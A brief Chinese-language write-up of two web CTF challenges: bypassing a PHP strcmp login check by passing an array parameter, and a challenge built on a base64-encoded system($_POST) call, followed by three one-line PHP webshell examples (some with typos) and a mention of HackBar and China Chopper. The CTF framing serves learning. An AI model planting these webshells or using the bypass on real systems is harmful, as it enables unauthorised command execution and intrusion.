---
# System prepended metadata

title: Web CTF

---

# Web CTF 


### Secret Login

題目：
![](https://i.imgur.com/SkvXhRf.png)

原始碼：
![](https://i.imgur.com/3R5qJQI.png)

解題思路：

原本想以config.php 下去找，在url列 用curl -v 和 ?pass=config.php都沒東西，
因此針對strcmp下去思考
1. 參數兩者相同為0，pass < secret 返回<0，反之>0
2. 這函數在收到不符合的型態會報錯誤，php5.3以前error後會return 0
3. 讓pass是一個 list 或 object 即可
4. php為了可以上傳一個list，會把結尾帶一對中括號的變量，例如 xxx[]的name（就是$_GET中的key），當作一個名字為xxx的數組構造類似如下的request
5. ?pass[]=admin

[解題連結](https://blog.csdn.net/cherrie007/article/details/77473817)

### Web shell

![](https://i.imgur.com/JCY5w0x.png)
題目本身只給php檔，連同flag一同附上

這題有一些觀念，首先base64 decode完後會得到system($_POST[123]);

webshell 分成三種

```php 
<?php eval($REQUEST_['cmd']); ?>
```
request 代表可在url 中後面接參數 e.g. http://xxx.xxx.xxx/index.php?cmd=phpinfo();
eval 代表只能執行php 指令 e.g.:phpinfo()

```php 
<?php system($REQUEST_['cmd']); ?>
```
system代表可執行系統指令 e.g. ls 、cat


```php 
<?php @eval($POST_['cmd']); ?>
```
 小老鼠＠代表即使有錯誤訊息也不回傳
 cmd 中都可以自行更改，不加上單引號也代表與有單引號相同意思

用hacker bar開啟post功能，下次試試中國菜刀




